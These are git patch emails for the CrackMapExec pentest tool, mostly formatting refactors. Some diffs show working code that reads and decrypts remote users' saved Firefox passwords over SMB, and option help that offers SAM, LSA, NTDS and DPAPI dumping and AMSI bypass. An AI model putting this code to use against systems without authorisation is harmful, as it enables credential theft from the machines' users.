Hallenbeck Date: Wed, 3 May 2023 16:48:05 -0400 Subject: [PATCH 13/76] refactor: remove unnecessary variable declaration --- cme/protocols/mssql/db_navigator.py | 112 +++++++++------------------- 1 file changed, 35 insertions(+), 77 deletions(-) diff --git a/cme/protocols/mssql/db_navigator.py b/cme/protocols/mssql/db_navigator.py index 5fda5a8e..546f6abb 100644 --- a/cme/protocols/mssql/db_navigator.py +++ b/cme/protocols/mssql/db_navigator.py @@ -17,21 +17,14 @@ class navigator(DatabaseNavigator): ]] for cred in creds: - cred_id = cred[0] - credtype = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] - # pillaged_from = cred[5] - - links = self.db.get_admin_relations(user_id=cred_id) + links = self.db.get_admin_relations(user_id=cred[0]) data.append([ - cred_id, + cred[0], # cred_id str(len(links)) + " Host(s)", - credtype, - domain, - username, - password, + cred[1], # cred_type + cred[2], # domain + cred[3], # username + cred[4], # password ]) print_table(data, title="Credentials") @@ -46,23 +39,15 @@ class navigator(DatabaseNavigator): "DB Instances" ]] for host in hosts: - host_id = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - instances = host[5] - - links = self.db.get_admin_relations(host_id=host_id) - + links = self.db.get_admin_relations(host_id=host[0]) data.append([ - host_id, + host[0], str(len(links)) + " Cred(s)", - ip, - hostname, - domain, - os, - instances, + host[1], + host[2], + host[3], + host[4], + host[5], ]) print_table(data, title="Hosts") @@ -88,20 +73,13 @@ class navigator(DatabaseNavigator): host_id_list = [] for host in hosts: - host_id = host[0] - host_id_list.append(host_id) - - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - + host_id_list.append(host[0]) data.append([ - host_id, - ip, - hostname, - domain, - os + host[0], + host[1], + host[2], + host[3], + host[4] ]) print_table(data, title="Host(s)") @@ -121,19 +99,12 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - # pillaged_from = cred[5] - data.append([ - cred_id, - credtype, - domain, - username, - password + cred[0], + cred[4], + cred[1], + cred[2], + cred[3] ]) print_table(data, title="Credential(s) with Admin Access") @@ -182,20 +153,13 @@ class navigator(DatabaseNavigator): cred_id_list = [] for cred in creds: - cred_id = cred[0] - cred_id_list.append(cred_id) - - credType = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] - + cred_id_list.append(cred[0]) data.append([ - cred_id, - credType, - domain, - username, - password + cred[0], + cred[1], + cred[2], + cred[3], + cred[4] ]) print_table(data, title="Credential(s)") @@ -215,18 +179,12 @@ class navigator(DatabaseNavigator): hosts = self.db.get_hosts(host_id) for host in hosts: - host_id = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - data.append([ - host_id, - ip, - hostname, - domain, - os + host[0], + host[1], + host[2], + host[3], + host[4] ]) print_table(data, title="Admin Access to Host(s)") From a4b18d261bec6f997577ff5eaa3fe1804ebf43e3 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 4 May 2023 00:23:51 -0400 Subject: [PATCH 14/76] refactor(firefox): perflint and formatting refactors --- cme/protocols/smb/firefox.py | 66 ++++++++++++++++++++---------------- 1 file changed, 37 insertions(+), 29 deletions(-) diff --git a/cme/protocols/smb/firefox.py b/cme/protocols/smb/firefox.py index fde19504..0f356867 100644 --- a/cme/protocols/smb/firefox.py +++ b/cme/protocols/smb/firefox.py @@ -31,7 +31,7 @@ class FirefoxTriage: firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" share = "C$" - false_positive = [ + false_positive = ( ".", "..", "desktop.ini", @@ -39,7 +39,7 @@ class FirefoxTriage: "Default", "Default User", "All Users", - ] + ) def __init__(self, target, logger, conn: DPLootSMBConnection = None): self.target = target @@ -63,7 +63,8 @@ class FirefoxTriage: for user in users: try: directories = self.conn.remote_list_dir( - share=self.share, path=self.firefox_generic_path.format(user) + share=self.share, + path=self.firefox_generic_path.format(user) ) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): @@ -71,11 +72,7 @@ class FirefoxTriage: self.logger.debug(e) if directories is None: continue - for d in [ - d - for d in directories - if d.get_longname() not in self.false_positive and d.is_directory() > 0 - ]: + for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: try: logins_path = ( self.firefox_generic_path.format(user) @@ -96,7 +93,9 @@ class FirefoxTriage: + "\\key4.db" ) key4_data = self.conn.readFile( - self.share, key4_path, bypass_shared_violation=True + self.share, + key4_path, + bypass_shared_violation=True ) if key4_data is None: continue @@ -110,10 +109,14 @@ class FirefoxTriage: continue for username, pwd, host in logins: decoded_username = self.decrypt( - key=key, iv=username[1], ciphertext=username[2] + key=key, + iv=username[1], + ciphertext=username[2] ).decode("utf-8") password = self.decrypt( - key=key, iv=pwd[1], ciphertext=pwd[2] + key=key, + iv=pwd[1], + ciphertext=pwd[2] ).decode("utf-8") if password is not None and decoded_username is not None: firefox_data.append( @@ -127,23 +130,18 @@ class FirefoxTriage: except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue - print(e) - self.logger.debug(e) + self.logger.exception(e) return firefox_data def get_login_data(self, logins_data): - logins = [] json_logins = json.loads(logins_data) if "logins" not in json_logins: - return logins # No logins key in logins.json file - for row in json_logins["logins"]: - logins.append( - ( - self.decode_login_data(row["encryptedUsername"]), - self.decode_login_data(row["encryptedPassword"]), - row["hostname"], - ) - ) + return [] # No logins key in logins.json file + logins = [( + self.decode_login_data(row["encryptedUsername"]), + self.decode_login_data(row["encryptedPassword"]), + row["hostname"] + ) for row in json_logins["logins"]] return logins def get_key(self, key4_data, master_password=b""): @@ -157,7 +155,8 @@ class FirefoxTriage: if row: global_salt, master_password, _ = self.is_master_password_correct( - key_data=row, master_password=master_password + key_data=row, + master_password=master_password ) if global_salt: try: @@ -170,7 +169,9 @@ class FirefoxTriage: if a102 == CKA_ID: decoded_a11 = decoder.decode(a11) key = self.decrypt_3des( - decoded_a11, master_password, global_salt + decoded_a11, + master_password, + global_salt ) if key is not None: fh.close() @@ -188,7 +189,9 @@ class FirefoxTriage: item2 = key_data[1] decoded_item2 = decoder.decode(item2) cleartext_data = self.decrypt_3des( - decoded_item2, master_password, global_salt + decoded_item2, + master_password, + global_salt ) if cleartext_data != "password-check\x02\x02".encode(): return "", "", "" @@ -202,12 +205,13 @@ class FirefoxTriage: users_dir_path = "Users\\*" directories = self.conn.listPath( - shareName=self.share, path=ntpath.normpath(users_dir_path) + shareName=self.share, + path=ntpath.normpath(users_dir_path) ) + for d in directories: if d.get_longname() not in self.false_positive and d.is_directory() > 0: users.append(d.get_longname()) - return users @staticmethod @@ -267,7 +271,11 @@ class FirefoxTriage: k = sha1(global_salt + master_password).digest() key = pbkdf2_hmac( - "sha256", k, entry_salt, iteration_count, dklen=key_length + "sha256", + k, + entry_salt, + iteration_count, + dklen=key_length ) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 From 19536a40f52f72804acb7a5f3790ca0ea1036974 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 4 May 2023 07:12:11 -0400 Subject: [PATCH 15/76] testing black action --- .github/workflows/black-formating.yml | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 .github/workflows/black-formating.yml diff --git a/.github/workflows/black-formating.yml b/.github/workflows/black-formating.yml new file mode 100644 index 00000000..2f47b68a --- /dev/null +++ b/.github/workflows/black-formating.yml @@ -0,0 +1,11 @@ +name: black-action +on: [push, pull_request] +jobs: + linter_name: + name: runner / black formatter + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: rickstaa/action-black@v1 + with: + black_args: ". --check" \ No newline at end of file From f52c347c668b1d952daf25f18fc978e893307191 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 4 May 2023 07:16:13 -0400 Subject: [PATCH 16/76] fix for black formating --- .github/workflows/black-formating.yml | 2 +- cme/protocols/smb.py | 96 +++++++-------------------- 2 files changed, 26 insertions(+), 72 deletions(-) diff --git a/.github/workflows/black-formating.yml b/.github/workflows/black-formating.yml index 2f47b68a..ff187e7e 100644 --- a/.github/workflows/black-formating.yml +++ b/.github/workflows/black-formating.yml @@ -1,4 +1,4 @@ -name: black-action +name: Black-action on: [push, pull_request] jobs: linter_name: diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index d025feae..ef84f6d4 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -167,9 +167,7 @@ class smb(connection): @staticmethod def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser( - "smb", - help="own stuff using SMB", - parents=[std_parser, module_parser] + "smb", help="own stuff using SMB", parents=[std_parser, module_parser] ) smb_parser.add_argument( "-H", @@ -244,19 +242,14 @@ class smb(connection): ) cgroup = smb_parser.add_argument_group( - "Credential Gathering", - "Options for gathering credentials" + "Credential Gathering", "Options for gathering credentials" ) cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument( - "--sam", - action="store_true", - help="dump SAM hashes from target systems" + "--sam", action="store_true", help="dump SAM hashes from target systems" ) cegroup.add_argument( - "--lsa", - action="store_true", - help="dump LSA secrets from target systems" + "--lsa", action="store_true", help="dump LSA secrets from target systems" ) cegroup.add_argument( "--ntds", @@ -270,14 +263,13 @@ class smb(connection): choices={"password", "cookies"}, nargs="?", const="password", - help="dump DPAPI secrets from target systems, can dump cookies if you add \"cookies\"\n(default: password)", + help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)', ) # cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') # cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') ngroup = smb_parser.add_argument_group( - "Credential Gathering", - "Options for gathering credentials" + "Credential Gathering", "Options for gathering credentials" ) ngroup.add_argument( "--mkfile", @@ -285,30 +277,20 @@ class smb(connection): help="DPAPI option. File with masterkeys in form of {GUID}:SHA1", ) ngroup.add_argument( - "--pvk", - action="store", - help="DPAPI option. File with domain backupkey" + "--pvk", action="store", help="DPAPI option. File with domain backupkey" ) ngroup.add_argument( - "--enabled", - action="store_true", - help="Only dump enabled targets from DC" + "--enabled", action="store_true", help="Only dump enabled targets from DC" ) ngroup.add_argument( - "--user", - dest="userntds", - type=str, - help="Dump selected user from DC" + "--user", dest="userntds", type=str, help="Dump selected user from DC" ) egroup = smb_parser.add_argument_group( - "Mapping/Enumeration", - "Options for Mapping/Enumerating" + "Mapping/Enumeration", "Options for Mapping/Enumerating" ) egroup.add_argument( - "--shares", - action="store_true", - help="enumerate shares and access" + "--shares", action="store_true", help="enumerate shares and access" ) egroup.add_argument( "--filter-shares", @@ -316,24 +298,16 @@ class smb(connection): help="Filter share by access, option 'read' 'write' or 'read,write'", ) egroup.add_argument( - "--sessions", - action="store_true", - help="enumerate active sessions" - ) - egroup.add_argument( - "--disks", - action="store_true", - help="enumerate disks" + "--sessions", action="store_true", help="enumerate active sessions" ) + egroup.add_argument("--disks", action="store_true", help="enumerate disks") egroup.add_argument( "--loggedon-users-filter", action="store", help="only search for specific user, works with regex", ) egroup.add_argument( - "--loggedon-users", - action="store_true", - help="enumerate logged on users" + "--loggedon-users", action="store_true", help="enumerate logged on users" ) egroup.add_argument( "--users", @@ -364,9 +338,7 @@ class smb(connection): help="enumerate local groups, if a group is specified then its members are enumerated", ) egroup.add_argument( - "--pass-pol", - action="store_true", - help="dump password policy" + "--pass-pol", action="store_true", help="dump password policy" ) egroup.add_argument( "--rid-brute", @@ -377,10 +349,7 @@ class smb(connection): help="enumerate users by bruteforcing RID's (default: 4000)", ) egroup.add_argument( - "--wmi", - metavar="QUERY", - type=str, - help="issues the specified WMI query" + "--wmi", metavar="QUERY", type=str, help="issues the specified WMI query" ) egroup.add_argument( "--wmi-namespace", @@ -390,14 +359,10 @@ class smb(connection): ) sgroup = smb_parser.add_argument_group( - "Spidering", - "Options for spidering shares" + "Spidering", "Options for spidering shares" ) sgroup.add_argument( - "--spider", - metavar="SHARE", - type=str, - help="share to spider" + "--spider", metavar="SHARE", type=str, help="share to spider" ) sgroup.add_argument( "--spider-folder", @@ -407,9 +372,7 @@ class smb(connection): help="folder to spider (default: root share directory)", ) sgroup.add_argument( - "--content", - action="store_true", - help="enable file content searching" + "--content", action="store_true", help="enable file content searching" ) sgroup.add_argument( "--exclude-dirs", @@ -436,14 +399,11 @@ class smb(connection): help="max spider recursion depth (default: infinity & beyond)", ) sgroup.add_argument( - "--only-files", - action="store_true", - help="only spider files" + "--only-files", action="store_true", help="only spider files" ) tgroup = smb_parser.add_argument_group( - "Files", - "Options for put and get remote files" + "Files", "Options for put and get remote files" ) tgroup.add_argument( "--put-file", @@ -464,8 +424,7 @@ class smb(connection): ) cgroup = smb_parser.add_argument_group( - "Command Execution", - "Options for executing commands" + "Command Execution", "Options for executing commands" ) cgroup.add_argument( "--exec-method", @@ -488,9 +447,7 @@ class smb(connection): help="force the PowerShell command to run in a 32-bit process", ) cgroup.add_argument( - "--no-output", - action="store_true", - help="do not retrieve command output" + "--no-output", action="store_true", help="do not retrieve command output" ) cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument( @@ -506,13 +463,10 @@ class smb(connection): help="execute the specified PowerShell command", ) psgroup = smb_parser.add_argument_group( - "Powershell Obfuscation", - "Options for PowerShell script obfuscation" + "Powershell Obfuscation", "Options for PowerShell script obfuscation" ) psgroup.add_argument( - "--obfs", - action="store_true", - help="Obfuscate PowerShell scripts" + "--obfs", action="store_true", help="Obfuscate PowerShell scripts" ) psgroup.add_argument( "--amsi-bypass", From 1f1ddedf34211bae71c702a445a3b0009c2e7170 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 4 May 2023 09:21:17 -0400 Subject: [PATCH 17/76] redo black --- cme/cmedb.py | 49 ++++---- cme/connection.py | 4 +- cme/crackmapexec.py | 62 +++++----- cme/protocols/mssql/db_navigator.py | 142 +++++++---------------- cme/protocols/rdp.py | 29 +++-- cme/protocols/smb.py | 169 ++++++++++++---------------- cme/servers/smb.py | 4 +- 7 files changed, 182 insertions(+), 277 deletions(-) diff --git a/cme/cmedb.py b/cme/cmedb.py index eaaae14e..59287af4 100644 --- a/cme/cmedb.py +++ b/cme/cmedb.py @@ -73,10 +73,7 @@ def complete_import(text, line): """ Tab-complete 'import' commands """ - commands = ( - "empire", - "metasploit" - ) + commands = ("empire", "metasploit") mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -138,7 +135,9 @@ class DatabaseNavigator(cmd.Cmd): # Users if command == "creds": if len(line) < 3: - print("[-] invalid arguments, export creds ") + print( + "[-] invalid arguments, export creds " + ) return filename = line[2] @@ -178,7 +177,9 @@ class DatabaseNavigator(cmd.Cmd): # Hosts elif command == "hosts": if len(line) < 3: - print("[-] invalid arguments, export hosts ") + print( + "[-] invalid arguments, export hosts " + ) return csv_header_simple = ( @@ -225,19 +226,13 @@ class DatabaseNavigator(cmd.Cmd): # Shares elif command == "shares": if len(line) < 3: - print("[-] invalid arguments, export shares ") + print( + "[-] invalid arguments, export shares " + ) return shares = self.db.get_shares() - csv_header = ( - "id", - "host", - "userid", - "name", - "remark", - "read", - "write" - ) + csv_header = ("id", "host", "userid", "name", "remark", "read", "write") filename = line[2] if line[1].lower() == "simple": @@ -267,16 +262,14 @@ class DatabaseNavigator(cmd.Cmd): # Local Admin elif command == "local_admins": if len(line) < 3: - print("[-] invalid arguments, export local_admins ") + print( + "[-] invalid arguments, export local_admins " + ) return # These values don't change between simple and detailed local_admins = self.db.get_admin_relations() - csv_header = ( - "id", - "userid", - "host" - ) + csv_header = ("id", "userid", "host") filename = line[2] if line[1].lower() == "simple": @@ -300,7 +293,9 @@ class DatabaseNavigator(cmd.Cmd): print("[+] Local Admins exported") elif command == "dpapi": if len(line) < 3: - print("[-] invalid arguments, export dpapi ") + print( + "[-] invalid arguments, export dpapi " + ) return # These values don't change between simple and detailed @@ -346,7 +341,9 @@ class DatabaseNavigator(cmd.Cmd): filename = line[2] write_list(filename, writable_keys) else: - print("[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi") + print( + "[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi" + ) @staticmethod def help_export(): @@ -366,9 +363,7 @@ class DatabaseNavigator(cmd.Cmd): return if line == "empire": - headers = { - "Content-Type": "application/json" - } + headers = {"Content-Type": "application/json"} # Pull the username and password from the config file payload = { "username": self.config.get("Empire", "username"), diff --git a/cme/connection.py b/cme/connection.py index 218cb110..74c67088 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -278,7 +278,9 @@ class connection(object): return True elif self.hash_login(domain, username, password): return True - elif cred_type == "plaintext" and not self.over_fail_limit(username): + elif cred_type == "plaintext" and not self.over_fail_limit( + username + ): if self.args.kerberos: if self.kerberos_login( domain, diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index c2ecb86a..a939d448 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -96,9 +96,7 @@ def main(): if args.darrell: links = ( - open(path_join(DATA_PATH, "videos_for_darrell.harambe")) - .read() - .splitlines() + open(path_join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines() ) try: webbrowser.open(random.choice(links)) @@ -121,11 +119,7 @@ def main(): module_server = None targets = [] - server_port_dict = { - "http": 80, - "https": 443, - "smb": 445 - } + server_port_dict = {"http": 80, "https": 443, "smb": 445} if hasattr(args, "cred_id") and args.cred_id: for cred_id in args.cred_id: @@ -211,21 +205,29 @@ def main(): if not module.opsec_safe: if ignore_opsec: - cme_logger.debug(f"ignore_opsec is set in the configuration, skipping prompt") - cme_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded") + cme_logger.debug( + f"ignore_opsec is set in the configuration, skipping prompt" + ) + cme_logger.display( + f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded" + ) else: - ans = input(highlight( - "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", - "red", - )) + ans = input( + highlight( + "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", + "red", + ) + ) if ans.lower() not in ["y", "yes", ""]: exit(1) if not module.multiple_hosts and len(targets) > 1: - ans = input(highlight( - "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", - "red", - )) + ans = input( + highlight( + "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", + "red", + ) + ) if ans.lower() not in ["y", "yes", ""]: exit(1) @@ -238,11 +240,7 @@ def main(): # loading a module server multiple times will obviously fail try: - context = Context( - db, - cme_logger, - args - ) + context = Context(db, cme_logger, args) module_server = CMEServer( module, context, @@ -256,19 +254,25 @@ def main(): except Exception as e: cme_logger.error(f"Error loading module server for {module}: {e}") - cme_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}") + cme_logger.debug( + f"proto_object: {protocol_object}, type: {type(protocol_object)}" + ) cme_logger.debug(f"proto object dir: {dir(protocol_object)}") # get currently set modules, otherwise default to empty list current_modules = getattr(protocol_object, "module", []) current_modules.append(module) setattr(protocol_object, "module", current_modules) - cme_logger.debug(f"proto object module after adding: {protocol_object.module}") + cme_logger.debug( + f"proto object module after adding: {protocol_object.module}" + ) if hasattr(args, "ntds") and args.ntds and not args.userntds: - ans = input(highlight( - "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] ", - "red", - )) + ans = input( + highlight( + "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] ", + "red", + ) + ) if ans.lower() not in ["y", "yes", ""]: exit(1) diff --git a/cme/protocols/mssql/db_navigator.py b/cme/protocols/mssql/db_navigator.py index 546f6abb..ae7bd361 100644 --- a/cme/protocols/mssql/db_navigator.py +++ b/cme/protocols/mssql/db_navigator.py @@ -7,48 +7,37 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [[ - "CredID", - "Admin On", - "CredType", - "Domain", - "UserName", - "Password" - ]] + data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: links = self.db.get_admin_relations(user_id=cred[0]) - data.append([ - cred[0], # cred_id - str(len(links)) + " Host(s)", - cred[1], # cred_type - cred[2], # domain - cred[3], # username - cred[4], # password - ]) + data.append( + [ + cred[0], # cred_id + str(len(links)) + " Host(s)", + cred[1], # cred_type + cred[2], # domain + cred[3], # username + cred[4], # password + ] + ) print_table(data, title="Credentials") def display_hosts(self, hosts): - data = [[ - "HostID", - "Admins", - "IP", - "Hostname", - "Domain", - "OS", - "DB Instances" - ]] + data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]] for host in hosts: links = self.db.get_admin_relations(host_id=host[0]) - data.append([ - host[0], - str(len(links)) + " Cred(s)", - host[1], - host[2], - host[3], - host[4], - host[5], - ]) + data.append( + [ + host[0], + str(len(links)) + " Cred(s)", + host[1], + host[2], + host[3], + host[4], + host[5], + ] + ) print_table(data, title="Hosts") def do_hosts(self, line): @@ -63,34 +52,16 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [[ - "HostID", - "IP", - "Hostname", - "Domain", - "OS" - ]] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] host_id_list = [] for host in hosts: host_id_list.append(host[0]) - data.append([ - host[0], - host[1], - host[2], - host[3], - host[4] - ]) + data.append([host[0], host[1], host[2], host[3], host[4]]) print_table(data, title="Host(s)") - data = [[ - "CredID", - "CredType", - "Domain", - "UserName", - "Password" - ]] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) @@ -99,13 +70,7 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: - data.append([ - cred[0], - cred[4], - cred[1], - cred[2], - cred[3] - ]) + data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) print_table(data, title="Credential(s) with Admin Access") def do_creds(self, line): @@ -143,34 +108,16 @@ class navigator(DatabaseNavigator): self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) - data = [[ - "CredID", - "CredType", - "Domain", - "UserName", - "Password" - ]] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] cred_id_list = [] for cred in creds: cred_id_list.append(cred[0]) - data.append([ - cred[0], - cred[1], - cred[2], - cred[3], - cred[4] - ]) + data.append([cred[0], cred[1], cred[2], cred[3], cred[4]]) print_table(data, title="Credential(s)") - data = [[ - "HostID", - "IP", - "Hostname", - "Domain", - "OS" - ]] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) @@ -179,19 +126,16 @@ class navigator(DatabaseNavigator): hosts = self.db.get_hosts(host_id) for host in hosts: - data.append([ - host[0], - host[1], - host[2], - host[3], - host[4] - ]) + data.append([host[0], host[1], host[2], host[3], host[4]]) print_table(data, title="Admin Access to Host(s)") def do_clear_database(self, line): - if (input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) == "y"): + if ( + input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) + == "y" + ): self.db.clear_database() @staticmethod @@ -207,10 +151,7 @@ class navigator(DatabaseNavigator): """ Tab-complete 'creds' commands """ - commands = ( - "add", - "remove" - ) + commands = ("add", "remove") mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -219,12 +160,7 @@ class navigator(DatabaseNavigator): """ Tab-complete 'creds' commands """ - commands = ( - "add", - "remove", - "hash", - "plaintext" - ) + commands = ("add", "remove", "hash", "plaintext") mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/protocols/rdp.py b/cme/protocols/rdp.py index 9a4a5084..2cf4769f 100644 --- a/cme/protocols/rdp.py +++ b/cme/protocols/rdp.py @@ -174,22 +174,21 @@ class rdp(connection): def print_host_info(self): if self.domain is None: - self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})") + self.logger.display( + f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})" + ) else: - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})") + self.logger.display( + f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})" + ) return True def create_conn_obj(self): self.target = RDPTarget( - ip=self.host, - domain="FAKE", - timeout=self.args.rdp_timeout + ip=self.host, domain="FAKE", timeout=self.args.rdp_timeout ) self.auth = NTLMCredential( - secret="pass", - username="user", - domain="FAKE", - stype=asyauthSecret.PASS + secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS ) self.check_nla() @@ -304,7 +303,9 @@ class rdp(connection): if not password: password = getenv("KRB5CCNAME") if not password else password if "/" in password: - self.logger.fail("Kerberos ticket need to be on the local directory") + self.logger.fail( + "Kerberos ticket need to be on the local directory" + ) return False ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] @@ -409,9 +410,7 @@ class rdp(connection): asyncio.run(self.connect_rdp()) self.admin_privs = True - self.logger.success( - f"{domain}\\{username}:{password} {self.mark_pwned()}" - ) + self.logger.success(f"{domain}\\{username}:{password} {self.mark_pwned()}") if not self.args.local_auth: add_user_bh(username, domain, self.logger, self.config) if not self.args.continue_on_success: @@ -487,9 +486,7 @@ class rdp(connection): async def screen(self): try: self.conn = RDPConnection( - iosettings=self.iosettings, - target=self.target, - credentials=self.auth + iosettings=self.iosettings, target=self.target, credentials=self.auth ) await self.connect_rdp() except Exception as e: diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index db443133..8e04bc4e 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -168,9 +168,7 @@ class smb(connection): @staticmethod def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser( - "smb", - help="own stuff using SMB", - parents=[std_parser, module_parser] + "smb", help="own stuff using SMB", parents=[std_parser, module_parser] ) smb_parser.add_argument( "-H", @@ -245,19 +243,14 @@ class smb(connection): ) cgroup = smb_parser.add_argument_group( - "Credential Gathering", - "Options for gathering credentials" + "Credential Gathering", "Options for gathering credentials" ) cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument( - "--sam", - action="store_true", - help="dump SAM hashes from target systems" + "--sam", action="store_true", help="dump SAM hashes from target systems" ) cegroup.add_argument( - "--lsa", - action="store_true", - help="dump LSA secrets from target systems" + "--lsa", action="store_true", help="dump LSA secrets from target systems" ) cegroup.add_argument( "--ntds", @@ -271,14 +264,13 @@ class smb(connection): choices={"password", "cookies"}, nargs="?", const="password", - help="dump DPAPI secrets from target systems, can dump cookies if you add \"cookies\"\n(default: password)", + help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)', ) # cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') # cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') ngroup = smb_parser.add_argument_group( - "Credential Gathering", - "Options for gathering credentials" + "Credential Gathering", "Options for gathering credentials" ) ngroup.add_argument( "--mkfile", @@ -286,30 +278,20 @@ class smb(connection): help="DPAPI option. File with masterkeys in form of {GUID}:SHA1", ) ngroup.add_argument( - "--pvk", - action="store", - help="DPAPI option. File with domain backupkey" + "--pvk", action="store", help="DPAPI option. File with domain backupkey" ) ngroup.add_argument( - "--enabled", - action="store_true", - help="Only dump enabled targets from DC" + "--enabled", action="store_true", help="Only dump enabled targets from DC" ) ngroup.add_argument( - "--user", - dest="userntds", - type=str, - help="Dump selected user from DC" + "--user", dest="userntds", type=str, help="Dump selected user from DC" ) egroup = smb_parser.add_argument_group( - "Mapping/Enumeration", - "Options for Mapping/Enumerating" + "Mapping/Enumeration", "Options for Mapping/Enumerating" ) egroup.add_argument( - "--shares", - action="store_true", - help="enumerate shares and access" + "--shares", action="store_true", help="enumerate shares and access" ) egroup.add_argument( "--filter-shares", @@ -317,24 +299,16 @@ class smb(connection): help="Filter share by access, option 'read' 'write' or 'read,write'", ) egroup.add_argument( - "--sessions", - action="store_true", - help="enumerate active sessions" - ) - egroup.add_argument( - "--disks", - action="store_true", - help="enumerate disks" + "--sessions", action="store_true", help="enumerate active sessions" ) + egroup.add_argument("--disks", action="store_true", help="enumerate disks") egroup.add_argument( "--loggedon-users-filter", action="store", help="only search for specific user, works with regex", ) egroup.add_argument( - "--loggedon-users", - action="store_true", - help="enumerate logged on users" + "--loggedon-users", action="store_true", help="enumerate logged on users" ) egroup.add_argument( "--users", @@ -365,9 +339,7 @@ class smb(connection): help="enumerate local groups, if a group is specified then its members are enumerated", ) egroup.add_argument( - "--pass-pol", - action="store_true", - help="dump password policy" + "--pass-pol", action="store_true", help="dump password policy" ) egroup.add_argument( "--rid-brute", @@ -378,10 +350,7 @@ class smb(connection): help="enumerate users by bruteforcing RID's (default: 4000)", ) egroup.add_argument( - "--wmi", - metavar="QUERY", - type=str, - help="issues the specified WMI query" + "--wmi", metavar="QUERY", type=str, help="issues the specified WMI query" ) egroup.add_argument( "--wmi-namespace", @@ -391,14 +360,10 @@ class smb(connection): ) sgroup = smb_parser.add_argument_group( - "Spidering", - "Options for spidering shares" + "Spidering", "Options for spidering shares" ) sgroup.add_argument( - "--spider", - metavar="SHARE", - type=str, - help="share to spider" + "--spider", 